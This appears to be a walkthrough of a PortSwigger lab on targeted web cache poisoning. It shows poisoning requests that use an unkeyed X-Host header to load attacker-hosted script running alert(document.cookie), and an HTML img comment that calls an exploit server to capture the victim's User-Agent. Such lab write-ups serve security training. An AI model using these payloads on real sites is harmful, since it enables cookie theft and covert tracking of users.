Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type Web Cache Poisoning — Targeted, Vary-Header Cache Split
Difficulty Practitioner
Objective Poison the cache with a response that executes alert(document.cookie) in the visitor's browser, ensuring the response is served specifically to the victim
Note A victim user will view any comments we post

Targeted Web Cache Poisoning Using an Unknown Header

I intercepted a request to / and ran Param Miner "Guess headers" on default settings. It found an unkeyed parameter: x-host~%h:%s.

Screenshot

With a cache buster, the response confirmed the cache was active via Cache-Control and Age headers.

Screenshot

The response body included a tracking script import:

<script type="text/javascript" src="//0a1f002e03a763a982d6490a000f00ce.h1-web-security-academy.net/resources/js/tracking.js"></script>

Testing X-Host manually:

GET / HTTP/1.1
Host: 0a1f002e03a763a982d6490a000f00ce.h1-web-security-academy.net
X-Host: teto.com
Screenshot
<script type="text/javascript" src="//teto.com/resources/js/tracking.js"></script>

The script host follows our X-Host value directly — same pattern as the first unkeyed-header lab, just under a different header name. I set up the exploit server at the expected path and sent the poisoning request:

GET / HTTP/1.1
Host: 0a1f002e03a763a982d6490a000f00ce.h1-web-security-academy.net
X-Host: exploit-0ae400c7037d63e782b7480601910091.exploit-server.net
Screenshot
Screenshot

Reloading /, the alert fired for us.

Screenshot

But poisoning the cache isn't enough here — the response also needs to reach the victim. Checking the response headers on the poisoned entry revealed the problem:

HTTP/1.1 200 OK
Vary: User-Agent

Vary: User-Agent means the cache maintains separate cached responses per User-Agent value, even though it's not part of the primary cache key in the usual sense. Our poisoned entry only applies to requests carrying our own User-Agent. The victim, running a different browser, would hit a separate, unpoisoned cache variant entirely. This is a two-stage attack: the unkeyed-header injection gets the payload into a cached response, but the Vary dimension has to be matched separately before it actually reaches the intended victim instead of just ourselves.

Since the victim reviews every comment we post, and HTML is allowed in comments, I used that to leak their real User-Agent to the exploit server:

<img src=https://exploit-0ae400c7037d63e782b7480601910091.exploit-server.net>
Screenshot

When the victim's browser loaded the image tag, the request carried their real User-Agent. Checking the exploit server logs:

Screenshot

The victim's exact User-Agent string was captured. A comment field that accepts and renders HTML is itself a reconnaissance vector here — not exploited for XSS, just used to make the victim's browser leak the header we needed.

I resent the poisoning request with User-Agent set to match the victim's exactly:

GET / HTTP/1.1
Host: 0a1f002e03a763a982d6490a000f00ce.h1-web-security-academy.net
X-Host: exploit-0ae400c7037d63e782b7480601910091.exploit-server.net
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Screenshot

Reloading the page with our own User-Agent no longer triggered the alert — confirming the poisoned variant was now specific to the victim's browser, not ours.

Screenshot

Lab solved o..o

Resources